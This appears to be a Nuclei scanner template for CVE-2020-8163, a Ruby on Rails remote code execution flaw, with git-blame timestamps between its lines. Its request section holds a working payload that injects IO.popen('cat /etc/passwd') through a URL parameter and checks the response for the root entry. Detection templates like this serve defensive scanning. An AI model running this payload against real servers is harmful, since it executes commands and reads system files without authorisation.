2021-01-02 04:56:15 +00:00
id : CVE-2020-8163
2020-08-22 21:47:58 +00:00
info :
2022-06-28 15:06:25 +00:00
name : Ruby on Rails <5.0.1 - Remote Code Execution
2020-08-22 21:47:58 +00:00
author : tim_koopmans
severity : high
2022-06-28 15:06:25 +00:00
description : Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can lead to unauthorized remote code execution.
2023-09-06 12:22:36 +00:00
remediation : |
Upgrade Ruby on Rails to version 5.0.1 or above.
2022-04-22 10:38:41 +00:00
reference :
2022-05-17 09:18:12 +00:00
- https://hackerone.com/reports/304805
- https://groups.google.com/g/rubyonrails-security/c/hWuKcHyoKh0
- https://lists.debian.org/debian-lts-announce/2020/07/msg00013.html
2022-06-28 15:06:25 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-8163
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-8163
cwe-id : CWE-94
2024-01-14 13:49:27 +00:00
epss-score : 0.97016
epss-percentile : 0.99691
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : rubyonrails
product : rails
2024-05-31 19:23:20 +00:00
shodan-query : cpe:"cpe:2.3:a:rubyonrails:rails"
2023-12-05 09:50:33 +00:00
tags : cve,cve2020,rails,rce,hackerone,rubyonrails
2020-08-22 21:47:58 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-08-22 21:47:58 +00:00
- method : GET
path :
- "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"
2022-07-02 11:31:46 +00:00
2020-08-22 21:47:58 +00:00
matchers-condition : and
matchers :
- type : regex
2022-07-02 11:31:46 +00:00
part : body
2020-08-22 21:47:58 +00:00
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2022-07-02 11:31:46 +00:00
- type : status
status :
- 200
2024-06-01 06:53:00 +00:00
# digest: 4a0a004730450220623563b3e9081c12b53bbcd5971946c9c090aae5e094e9ee713197bf3a3adc310221008128e62b99d5783f3471f785906e2c3b866514cad77898df0bd2c10a326a190b:922c64590222798bb761d5b6d8e72950